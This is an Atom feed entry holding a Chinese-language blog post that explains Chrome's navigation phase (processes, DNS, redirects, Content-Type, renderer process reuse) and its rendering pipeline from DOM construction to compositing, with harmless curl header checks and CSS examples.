      <title type="text">浏览器从输入 URL 到页面展示发生了什么</title>
      <published>2021-06-05T00:00:00.000Z</published>
      <updated>2021-06-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/browser-url/"/>
      <summary type="text">从浏览器输入 URL 到页面展示到底经历了什么？本文通过两个阶段来解释，第一个阶段是导航阶段，也就是在页面真正开始渲染之前浏览器所做的工作，第二个阶段是渲染阶段…</summary>
      <content type="html"><![CDATA[<section><h2>导航阶段<a href="#导航阶段"><span>#</span></a></h2><p>从浏览器输入 URL 到页面展示到底经历了什么？本文通过两个阶段来解释，第一个阶段是导航阶段，也就是在页面真正开始渲染之前浏览器所做的工作，第二个阶段是渲染阶段，也就是把接受到的 Http 信息通过浏览器内部的处理展现在页面上。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/92d73c75308e50d5c06ad44612bcb45d.png" alt="img" /><figcaption>img</figcaption></figure><p></p><section><h3>浏览器进程、渲染进程和网络进程的主要职责<a href="#浏览器进程渲染进程和网络进程的主要职责"><span>#</span></a></h3><ul>
<li>浏览器进程主要负责用户交互、子进程管理和文件储存等功能。</li>
<li>网络进程是面向渲染进程和浏览器进程等提供网络下载功能。</li>
<li>渲染进程的主要职责是把从网络下载的 HTML、JavaScript、CSS、图片等资源解析为可以显示和交互的页面。因为渲染进程所有的内容都是通过网络获取的，会存在一些恶意代码利用浏览器漏洞对系统进行攻击，所以运行在渲染进程里面的代码是不被信任的。这也是为什么 Chrome 会让渲染进程运行在安全沙箱里，就是为了保证系统的安全。</li>
</ul></section><section><h3>流程<a href="#流程"><span>#</span></a></h3><ol>
<li>首先，浏览器进程接收到用户输入的 URL 请求，浏览器进程便将该 URL 转发给网络进程。</li>
<li>然后，在网络进程中发起真正的 URL 请求。</li>
<li>接着网络进程接收到了响应头数据，便解析响应头数据，并将数据转发给浏览器进程。</li>
<li>浏览器进程接收到网络进程的响应头数据之后，发送“提交导航 (CommitNavigation)”消息到渲染进程；</li>
<li>渲染进程接收到“提交导航”的消息之后，便开始准备接收 HTML 数据，接收数据的方式是直接和网络进程建立数据管道；</li>
<li>最后渲染进程会向浏览器进程“确认提交”，这是告诉浏览器进程：“已经准备好接受和解析页面数据了”。</li>
<li>浏览器进程接收到渲染进程“提交文档”的消息之后，便开始移除之前旧的文档，然后更新浏览器进程中的页面状态。</li>
</ol><p><strong>用户发出 URL 请求到页面开始解析的这个过程，就叫做导航。</strong></p></section><section><h3>拆解解析<a href="#拆解解析"><span>#</span></a></h3><section><h4>1.用户输入<a href="#1用户输入"><span>#</span></a></h4><p>当用户在地址栏中输入一个查询关键字时，地址栏会判断输入的关键字是搜索内容，还是请求的 URL。</p><ul>
<li>如果是搜索内容，地址栏会使用浏览器默认的搜索引擎，来合成新的带搜索关键字的 URL。<figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/33.gif" alt="33" /><figcaption>33</figcaption></figure></li>
<li>如果判断输入的内容符合 URL 规则，比如输入的是 anblog.top,地址栏会根据规则，把这段内容加上协议，合成完整的 URL。<a href="https://anblog.top/" target="_blank">https://anblog.top/</a></li>
</ul></section><section><h4>2.URL 请求过程<a href="#2url-请求过程"><span>#</span></a></h4><p>页面资源请求过程。这时，浏览器进程会通过进程间通信（IPC）把 URL 请求发送至网络进程，网络进程接收到 URL 请求后，会在这里发起真正的 URL 请求流程。</p><ol>
<li>
<p>首先，网络进程会查找本地缓存是否缓存了该资源。
如果有缓存资源，那么直接返回资源给浏览器进程；如果在缓存中没有查找到资源，那么直接进入网络请求流程。发起网络请求前的第一步是要进行 DNS 解析(1.先查浏览器的缓存；2.查本机的 hosts 文件；3.域名服务器解析；4.若域名服务器也没有，递归(让别人找)加迭代解析(别人告诉你或者给你指路))，以获取请求域名的服务器 IP 地址。如果请求协议是 HTTPS，那么还需要建立 TLS 连接。</p>
</li>
<li>
<p>接下来就是利用 IP 地址和服务器建立 TCP 连接。
连接建立之后，浏览器端会构建请求行、请求头等信息，并把和该域名相关的 Cookie 等数据附加到请求头中，然后向服务器发送构建的请求信息。</p>
</li>
<li>
<p>服务器接收到请求信息后，会根据请求信息生成响应数据（包括响应行、响应头和响应体等信息），并发给网络进程。
等网络进程接收了响应行和响应头之后，就开始解析响应头的内容了。（为了方便讲述，下面我将服务器返回的响应头和响应行统称为响应头。）</p>
<section><h5>几个相关概念<a href="#几个相关概念"><span>#</span></a></h5><ul>
<li>
<p>重定向</p>
<p>在接收到服务器返回的响应头后，网络进程开始解析响应头，如果发现返回的状态码是 301 或者 302(在服务器中配置的)，那么说明服务器需要浏览器重定向到其他 URL。这时网络进程会从响应头的 Location 字段里面读取重定向的地址，然后再发起新的 HTTP 或者 HTTPS 请求，一切又重头开始了。就像下面的 nginx.conf 的内容含义是如果请求 blog.annanblog.top，就重定向到<a href="https://blog.annanblog.top" target="_blank">https://blog.annanblog.top</a>
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408184759440.png" alt="image-20210408184759440" /><figcaption>image-20210408184759440</figcaption></figure><p></p>
<blockquote><p>如何查看服务器返回的响应头信息</p></blockquote>
<p>在终端 cmd 输入不加 https 的地址</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl -I blog.annanblog.top</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408185253320.png" alt="image-20210408185253320" /><figcaption>image-20210408185253320</figcaption></figure><p></p>
<p>直接输入 https 地址</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl -I https://blog.annanblog.top</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408185412632.png" alt="image-20210408185412632" /><figcaption>image-20210408185412632</figcaption></figure><p></p>
<p>结论：在导航过程中，如果服务器响应行的状态码包含了 301、302 一类的跳转信息，浏览器会跳转到新的地址继续导航；如果响应行是 200，那么表示浏览器可以继续处理该请求。</p>
</li>
<li>
<p>响应数据类型处理</p>
<blockquote><p>在处理了跳转信息之后，我们继续导航流程的分析。URL 请求的数据类型，有时候是一个下载类型，有时候是正常的 HTML 页面，那么浏览器是如何区分它们呢?</p></blockquote>
<p>答案是 Content-Type。Content-Type 是 HTTP 头中一个非常重要的字段， 它告诉浏览器服务器返回的响应体数据是什么类型，然后浏览器会根据 Content-Type 的值来决定如何显示响应体的内容。</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl -I https://blog.annanblog.top</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408185840996.png" alt="image-20210408185840996" /><figcaption>image-20210408185840996</figcaption></figure><p></p>
<p>可以看到这个响应头的 Content-type 字段值是 text/html，这是在告诉浏览器，服务器返回的数据是 HTML 格式。</p>
<p>如果是下载的请求，Content-Type 的值会变</p>
<p>从返回的响应头信息来看，Content-Type 的值是 <strong>application/octet-stream</strong>，显示数据是<strong>字节流类型</strong>的，通常情况下，浏览器会按照下载类型来处理该请求。</p>
<p>结论：不同 Content-Type 的后续处理流程也截然不同。如果 Content-Type 字段的值被浏览器判断为下载类型，那么该请求会被提交给浏览器的下载管理器，同时该 URL 请求的导航流程就此结束。<strong>但如果是 HTML，那么浏览器则会继续进行导航流程。由于 Chrome 的页面渲染是运行在渲染进程中的，所以接下来就需要准备渲染进程了。</strong></p>
</li>
</ul></section>
<h4>3.准备渲染进程<a href="#3准备渲染进程"><span>#</span></a></h4>
<p>默认情况下，Chrome 会为每个页面分配一个渲染进程，也就是说，每打开一个新页面就会配套创建一个新的渲染进程。但是，也有一些例外，在某些情况下，浏览器会让多个页面直接运行在同一个渲染进程中。</p>
<p>导航栏可以打开 chrome 的任务管理器</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408190541271.png" alt="image-20210408190541271" /><figcaption>image-20210408190541271</figcaption></figure><p></p>
<p>同站点的，到新页面还会共用一个线程，但是有一点需要注意，这个打开单击直接跳转的，如果是右键浏览器在新标签页打开则还是新建一个渲染线程。</p>
<p>“同一站点”定义为根域名（例如，annanblog.top）加上协议（例如，https:// 或者 http://），还包含了该根域名下的所有子域名和不同的端口，比如下面这三个：</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://blog.annanblog.top</span></div></div><div><div><div>2</div></div><div><span>https://www.annanblog.top</span></div></div><div><div><div>3</div></div><div><span>https://www.annanblog.top:8080</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>Chrome 的默认策略是，每个标签对应一个渲染进程。但如果从一个页面打开了另一个新页面，而新页面和当前页面属于同一站点的话，那么新页面会复用父页面的渲染进程。官方把这个默认策略叫 process-per-site-instance。</p>
<p>案例：
比如我现在在 annanblog.top 页面，然后从这个页面打开 wordpress 登录界面</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://www.annanblog.top/wp-login.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到是同一站点的，打开 chrome 的任务管理器(在 chrome 头部右键打开)查看
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408215638568.png" alt="image-20210408215638568" /><figcaption>image-20210408215638568</figcaption></figure><p></p>
<p>可以看到是共用一个进程的，同时用旧站打开新站，新站是子域名 blog.annanblog.top</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://blog.annanblog.top/</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到依然使用同一个进程，由于 annanblog.top 和 blog.annanblog.top 的标签页拥有相同的协议和根域名，所以它们属于同一站点</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210408215939546.png" alt="image-20210408215939546" /><figcaption>image-20210408215939546</figcaption></figure><p></p>
<p>但是当打开站尾的备案的时候(<a href="https://beian.miit.gov.cn/#/Integrated/index" target="_blank">https://beian.miit.gov.cn/#/Integrated/index</a>)
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210409081231887.png" alt="image-20210409081231887" /><figcaption>image-20210409081231887</figcaption></figure><p></p>
<p>可以看到新开了一个进程，因为不是同一站点。</p>
</li>
</ol><p>总结：</p><p>打开一个页面 chrome 默认所采取的渲染进程策略：</p><ul>
<li>通常情况下，打开新的页面都会使用单独的渲染进程；</li>
<li>如果从 A 页面打开 B 页面，且 A 和 B 同属于一个站点的话，B 页面复用 A 页面的渲染进程；若不是，浏览器进程会为 B 页面创建一个新的渲染进程。</li>
</ul><p>以上渲染进程准备好之后，还不能立即进入文档解析状态，因为此时的文档数据还在网络进程中，并没有提交给渲染进程，所以下一步就进入了提交文档阶段。</p></section><section><h4>4.提交文档<a href="#4提交文档"><span>#</span></a></h4><p>提交文档，就是把网络进程中的 HTML 数据，提交给渲染进程，流程：</p><ol>
<li>首先当浏览器接收到网络进程的响应头数据之后，就向渲染进程发起“提交文档”的消息；浏览器进程：好了，看来网络进程 OK 了，你两可以交接了！</li>
<li>当渲染进程接受到“提交文档”的消息后，会和网络进程建立传输数据的“管道”(IPC); 渲染进程：网络进程！来！交给我！</li>
<li>当文档数据传输完成之后，渲染进程会返回“确认提交”的消息给浏览器进程；渲染进程：好！我收到数据了！和你说一声，浏览器进程！</li>
<li>浏览器进程在收到“确认提交”的消息后，会更新浏览器界面状态，包括安全状态、地址栏的 URL、前进后退的历史状态、并更新 Web 界面。浏览器进程：我把我管的这部分浏览器上的用户交互的安排好了！</li>
</ol><p>当浏览器进程确认提交之后：更新内容如下图：</p><ul>
<li>更新前进后退状态</li>
<li>更新安全状态 小锁子</li>
<li>更新 URL 地址栏</li>
<li>更新 web 页面</li>
</ul><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210605224831862.png" alt="image-20210605224831862" /><figcaption>image-20210605224831862</figcaption></figure><p></p><p>这也就解释了为什么在浏览器的地址栏里面输入了一个地址后，之前的页面没有立马消失，而是要加载一会儿才会更新页面。之后就是进入渲染阶段。</p><p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411223259.png" alt="image-20210411223259758" /><figcaption>image-20210411223259758</figcaption></figure><p></p><p>中间的渲染模块就是第二阶段渲染阶段。</p></section></section></section>
<section><h2>渲染阶段<a href="#渲染阶段"><span>#</span></a></h2><p>​ </p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411223524.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>流水线可分为如下几个子阶段：<strong>构建 DOM 树、样式计算、布局阶段、分层、绘制、分块、光栅化和合成</strong></p><p>重点关注：</p><ul>
<li>开始每个子阶段都有其输入的内容；</li>
<li>然后每个子阶段有其处理过程；</li>
<li>最终每个子阶段会生成输出内容。</li>
</ul><section><h3>1.构建 DOM 树<a href="#1构建-dom-树"><span>#</span></a></h3><p><strong>为什么要构建 DOM 树呢？</strong></p><p><strong>这是因为浏览器无法直接理解和使用 HTML，所以需要将 HTML 转换为浏览器能够理解的结构——DOM 树</strong>。</p><p>树这种结构非常像我们现实生活中的“树”，其中每个点我们称为节点，相连的节点称为父子节点。树结构在浏览器中的应用还是比较多的，比如下面我们要介绍的渲染流程，就在频繁地使用树结构。</p><p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411223703.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>从图中可以看出，构建 DOM 树的<strong>输入内容是一个非常简单的 HTML 文件</strong>，然后<strong>经由 HTML 解析器解析</strong>，最终<strong>输出树状结构的 DOM</strong>。</p><p>在控制台输入 document 就可以看到 DOM 结构，可以看到 DOM 和 HTML 内容几乎是一样的，但是和 HTML 不同的是，<strong>DOM 是保存在内存中树状结构，可以通过 JavaScript 来查询或修改内容</strong>。</p></section><section><h3>2.样式计算<a href="#2样式计算"><span>#</span></a></h3><p><strong>样式计算的目的是为了计算出 DOM 节点中每个元素的具体样式</strong>，可以分为三步完成。</p><ol>
<li>
<p>把 CSS 转换成浏览器能理解的结构。</p>
<p>CSS 的样式来源有三种：</p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411224154.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<ul>
<li>
<p>通过 link 引用的外部 CSS 文件 <code>&lt;link href="normalize.css" rel="stylesheet"&gt;</code></p>
</li>
<li>
<p>&lt;style&gt; 标记内的 CSS <code>&lt;style&gt;你的css代码&lt;/style&gt;</code></p>
</li>
<li>
<p>元素的 style 属性内嵌的 CSS <code>&lt;div style="background:#fff"&gt;&lt;/div&gt;</code></p>
<p>和 HTML 文件一样，浏览器也是无法直接理解这些纯文本的 CSS 样式，所以<strong>当渲染引擎接收到 CSS 文本时，会执行一个转换操作，将 CSS 文本转换为浏览器可以理解的结构——styleSheets</strong>。</p>
<p>在 chrome 控制台输入 document.styleSheets,就可以看到如下图所示结构</p>
<p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411224553.png" alt="image-20210411224552961" /><figcaption>image-20210411224552961</figcaption></figure><p></p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>&lt;div align='center'&gt;styleSheets&lt;/div&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ul>
</li>
<li>
<p>转换样式表中的属性值，使其标准化</p>
<p>现在我们已经把现有的 CSS 文本转化为浏览器可以理解的结构了，那么接下来就要对其进行<strong>属性值的标准化操作</strong>。</p>
<p>比如以下的 CSS 文本</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>body { font-size: 2em }</span></div></div><div><div><div>2</div></div><div><span>p {color:blue;}</span></div></div><div><div><div>3</div></div><div><span>span {display: none}</span></div></div><div><div><div>4</div></div><div><span>div {font-weight: bold}</span></div></div><div><div><div>5</div></div><div><span>div p {color:green;}</span></div></div><div><div><div>6</div></div><div><span>div {color:red; }</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到上面的 CSS 文本中有很多属性值，如 2em、blue、bold，这些类型数值不容易被渲染引擎理解，所以需要将所有值转换为渲染引擎容易理解的、标准化的计算值，这个过程就是属性值标准化。</p>
<p>标准化后是什么样子？</p>
<p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411224950.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>2em 被解析成了 32px，red 被解析成了 rgb(255,0,0)，bold 被解析成了 700…</p>
<blockquote><p>em 单位为一个相对的度量单位，它通过寻找父标签的 font-size。然后通过计算得出自身的 font-size。font-size 是几 em 就是父标签的 font-size 的几倍。利用 em 单位设置便签的 width 或者 height 等属性原理也一样。</p></blockquote>
</li>
<li>
<p>计算出 DOM 树中每个节点的具体样式</p>
<p>样式的属性已被标准化了，接下来就需要计算 DOM 树中每个节点的样式属性了，如何计算呢？</p>
<p>这就涉及到 <strong>CSS 的继承规则和层叠规则</strong>了。</p>
<p>首先是 CSS 继承。<strong>CSS 继承就是每个 DOM 节点都包含有父节点的样式</strong>。</p>
<p>比如以下的 CSS 文本：</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>body { font-size: 20px }</span></div></div><div><div><div>2</div></div><div><span>p {color:blue;}</span></div></div><div><div><div>3</div></div><div><span>span {display: none}</span></div></div><div><div><div>4</div></div><div><span>div {font-weight: bold;color:red}</span></div></div><div><div><div>5</div></div><div><span>div p {color:green;}</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>最终应用到 DOM 节点的效果如下图所示：</p>
<p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411225212.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>从图中可以看出，所有子节点都继承了父节点样式。比如 body 节点的 font-size 属性是 20，那 body 节点下面的所有节点的 font-size 都等于 20。</p>
<p>再举个例子 浏览器对着元素右键检查：</p>
<p></p><figure><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210411225342.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p><strong>特别提下 UserAgent 样式，它是浏览器提供的一组默认样式，如果你不提供任何样式，默认使用的就是 UserAgent 样式。</strong></p>
<p><strong>层叠是 CSS 的一个基本特征，它是一个定义了如何合并来自多个源的属性值的算法。它在 CSS 处于核心地位，CSS 的全称“层叠样式表”正是强调了这一点。</strong></p>
<p>样式计算阶段的<strong>目的是为了计算出 DOM 节点中每个元素的具体样式</strong>，在<strong>计算过程中需要遵守 CSS 的继承和层叠两个规则</strong>。这个阶段最终<strong>输出的内容是每个 DOM 节点的样式，并被保存在 ComputedStyle 的结构内</strong>。</p>
<p>如果你想了解每个 DOM 元素最终的计算样式，可以打开 Chrome 的“开发者工具”，选择第一个“element”标签，然后再选择“Computed”子标签，如下图所示：</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/20210411225945.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
</li>
</ol></section><section><h3>3.布局阶段<a href="#3布局阶段"><span>#</span></a></h3><p>现在，我们有 DOM 树和 DOM 树中元素的样式，但这还不足以显示页面，因为我们还不知道 DOM 元素的几何位置信息。那么<strong>接下来就需要计算出 DOM 树中可见元素的几何位置，我们把这个计算过程叫做布局</strong>。</p><ol>
<li>
<p>创建布局树</p>
<p>DOM 树有很多不可见的元素，比如 head 标签，还有使用了 display 属性的元素。所以在显示之前，我们还需要额外构建一棵只包含可见元素的<strong>元素布局树</strong>。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/8e48b77dd48bdc509958e73b9935710e.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
</li>
<li>
<p>布局计算</p>
<p>现在有了一棵完整的布局树，接下来就要计算布局树节点的坐标位置，布局计算过程暂时不讲。</p>
<p>在执行布局操作的时候，会把布局运算的结果重新写回布局树中，所以布局树既是输入内容也是输出内容.</p>
</li>
</ol></section><section><h3>4.分层<a href="#4分层"><span>#</span></a></h3><p>现在我们有了布局树，而且每个元素的具体位置信息都计算出来了，那么接下来是不是就要开始着手绘制页面了？答案依然是否定的。</p><p>因为页面中有很多复杂的效果，如一些复杂的 3D 变换、页面滚动，或者使用 z-indexing 做 z 轴排序等，为了更加方便地实现这些效果，<strong>渲染引擎还需要为特定的节点生成专用的图层，并生成一棵对应的图层树（LayerTree）。<strong>如果你熟悉 PS，相信你会很容易理解图层的概念，正是</strong>这些图层叠加在一起构成了最终的页面图像</strong>。</p><p>要想直观地理解什么是图层，你可以打开 Chrome 的“开发者工具”，选择“Layers”标签，就可以可视化页面的分层情况，如下图所示</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210606194645358.png" alt="image-20210606194645358" /><figcaption>image-20210606194645358</figcaption></figure><p></p><p>可以看到这个效果就和 PS 图层一样，一层一层最后叠加成了最终的页面。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/e8a7e60a2a08e05239456284d2aa4061.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p><strong>并不是布局树的每个节点都包含一个图层，如果一个节点没有对应的层，那么这个节点就从属于父节点的图层</strong>。如上图中的 span 标签没有专属图层，那么它们就从属于它们的父节点图层。但不管怎样，最终每一个节点都会直接或者间接地从属于一个层。</p><blockquote><p>那么需要满足什么条件，渲染引擎才会为特定的节点创建新的图层呢？通常满足下面两点中任意一点的元素就可以被提升为单独的一个图层。</p></blockquote><p>第一点，拥有层叠上下文属性的元素会被提升为单独的一层。页面是个二维平面，但是层叠上下文能够让 HTML 元素具有三维概念，这些 HTML 元素按照自身属性的优先级分布在垂直于这个二维平面的 z 轴上。你可以结合下图来直观感受下：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/a03eb12053aac1ac496b61a424f20119.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>从图中可以看出，明确定位属性的元素、定义透明属性的元素、使用 CSS 滤镜的元素等，都拥有层叠上下文属性。若你想要了解更多层叠上下文的知识，你可以参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context#result" target="_blank">这篇文章</a>。</p><p>第二点，需要剪裁（clip）的地方也会被创建为图层。不过首先你需要了解什么是剪裁，结合下面的 HTML 代码：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;style&gt;</span></div></div><div><div><div>2</div></div><div><span><span>      </span></span><span>div {</span></div></div><div><div><div>3</div></div><div><span><span>            </span></span><span>width: 200;</span></div></div><div><div><div>4</div></div><div><span><span>            </span></span><span>height: 200;</span></div></div><div><div><div>5</div></div><div><span><span>            </span></span><span>overflow:auto;</span></div></div><div><div><div>6</div></div><div><span><span>            </span></span><span>background: gray;</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>&lt;/style&gt;</span></div></div><div><div><div>9</div></div><div><span>&lt;body&gt;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>&lt;div &gt;</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>&lt;p&gt;所以元素有了层叠上下文的属性或者需要被剪裁，那么就会被提升成为单独一层，你可以参看下图：&lt;/p&gt;</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>&lt;p&gt;从上图我们可以看到，document层上有A和B层，而B层之上又有两个图层。这些图层组织在一起也是一颗树状结构。&lt;/p&gt;</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>&lt;p&gt;图层树是基于布局树来创建的，为了找出哪些元素需要在哪些层中，渲染引擎会遍历布局树来创建层树（Update LayerTree）。&lt;/p&gt;</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;/div&gt;</span></div></div><div><div><div>15</div></div><div><span>&lt;/body&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>显示结果</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/6a583733735edc1e4d7946740eb6fc0c.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>这里我们把 div 的大小限定为 200 _ 200 像素，而 div 里面的文字内容比较多，文字所显示的区域肯定会超出 200 _ 200 的面积，这时候就产生了<strong>剪裁</strong>，渲染引擎会把裁剪文字内容的一部分用于显示在 div 区域。</p><p>出现这种裁剪情况的时候，渲染引擎会为文字部分单独创建一个层，如果出现滚动条，滚动条也会被提升为单独的层。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/7b6ceaab23c6c6d8e5930864ff9d7097.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>所以说，元素有了层叠上下文的属性或者需要被剪裁，满足其中任意一点，就会被提升成为单独一层。</p></section><section><h3>5.图层绘制<a href="#5图层绘制"><span>#</span></a></h3><p>在完成图层树的构建之后，渲染引擎会对图层树中的每个图层进行绘制，那么接下来我们看看渲染引擎是怎么实现图层绘制的？</p><p>试想一下，如果给你一张纸，让你先把纸的背景涂成蓝色，然后在中间位置画一个红色的圆，最后再在圆上画个绿色三角形。你会怎么操作呢？</p><p>通常，你会把你的绘制操作分解为三步：</p><ul>
<li>绘制蓝色背景；</li>
<li>在中间绘制一个红色的圆；</li>
<li>再在圆上绘制绿色三角形。</li>
</ul><p>渲染引擎实现图层的绘制与之类似，会把一个图层的绘制拆分成很多小的绘制指令，然后再把这些指令按照顺序组成一个<strong>待绘制列表</strong></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/40825a55214a7990bba6b9bec6e54108.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>你也可以打开“开发者工具”的“Layers”标签，选择“document”层，来实际体验下绘制列表</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210606205835960.png" alt="image-20210606205835960" /><figcaption>image-20210606205835960</figcaption></figure><p></p><p>图中，区域 1 就是 document 的绘制列表，拖动区域 2 中的进度条可以重现列表的绘制过程。</p></section><section><h3>6.栅格化(raster)操作<a href="#6栅格化raster操作"><span>#</span></a></h3><p>绘制列表只是用来记录绘制顺序和绘制指令的列表，而实际上绘制操作是由渲染引擎中的合成线程来完成的。你可以结合下图来看下渲染主线程和合成线程之间的关系：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/46d33b6e5fca889ecbfab4516c80a441.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>如上图所示，当图层的绘制列表准备好之后，主线程会把该绘制列表提交（commit）给合成线程，那么接下来合成线程是怎么工作的呢？</p><p>通常一个页面可能很大，但是用户只能看到其中的一部分，我们把用户可以看到的这个部分叫做视口（viewport），就比如你下拉页面，只能看到你拉动到的显示在你屏幕的东西。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/242225112f2a3ec97e736c960b88d972.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>在有些情况下，有的图层可以很大，比如有的页面你使用滚动条要滚动好久才能滚动到底部，但是通过视口，用户只能看到页面的很小一部分，所以在这种情况下，要绘制出所有图层内容的话，就会产生太大的开销，而且也没有必要。</p><p>基于这个原因，<strong>合成线程会将图层划分为图块（tile）</strong>，这些图块的大小通常是 256x256 或者 512x512，如下图所示：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/bcc7f6983d5ece8e2dd716f431d0e052.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p><strong>合成线程会按照视口附近的图块来优先生成位图</strong>(位图又叫做点阵图，是一个个很小的颜色小方块组合在一起的图片。一个小方块代表 1px)，实际生成位图的操作是由栅格化来执行的。<strong>所谓栅格化，是指将图块转换为位图</strong>。</p><p>位图：又称点阵图像或栅格图像，<strong>最小单位由像素构成的图</strong></p><p>而<strong>图块是栅格化执行的最小单位。渲染进程维护了一个栅格化的线程池，所有的图块栅格化都是在线程池内执行的</strong>，运行方式如下图所示：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/d8d77356211e12b47bb9f508e2db8520.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>通常，栅格化过程都会使用 GPU 来加速生成，使用 GPU 生成位图的过程叫快速栅格化，或者 GPU 栅格化，生成的位图被保存在 GPU 内存中。</p><p>相信你还记得，GPU 操作是运行在 GPU 进程中，如果栅格化操作使用了 GPU，那么最终生成位图的操作是在 GPU 中完成的，这就涉及到了跨进程操作。具体形式你可以参考下图：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/a8d954cd8e4722ee03d14afaa14c3987.png" alt="img" /><figcaption>img</figcaption></figure><p></p></section><section><h3>7.合成和显示<a href="#7合成和显示"><span>#</span></a></h3><p>一旦所有图块都被光栅化，合成线程就会生成一个绘制图块的命令——“DrawQuad”，然后将该命令提交给浏览器进程。</p><p>浏览器进程里面有一个叫 viz 的组件，用来接收合成线程发过来的 DrawQuad 命令，然后根据 DrawQuad 命令，将其页面内容绘制到内存中，最后再将内存显示在屏幕上。</p><p>到这里，经过这一系列的阶段，编写好的 HTML、CSS、JavaScript 等文件，经过浏览器就会显示出漂亮的页面了。</p></section></section>
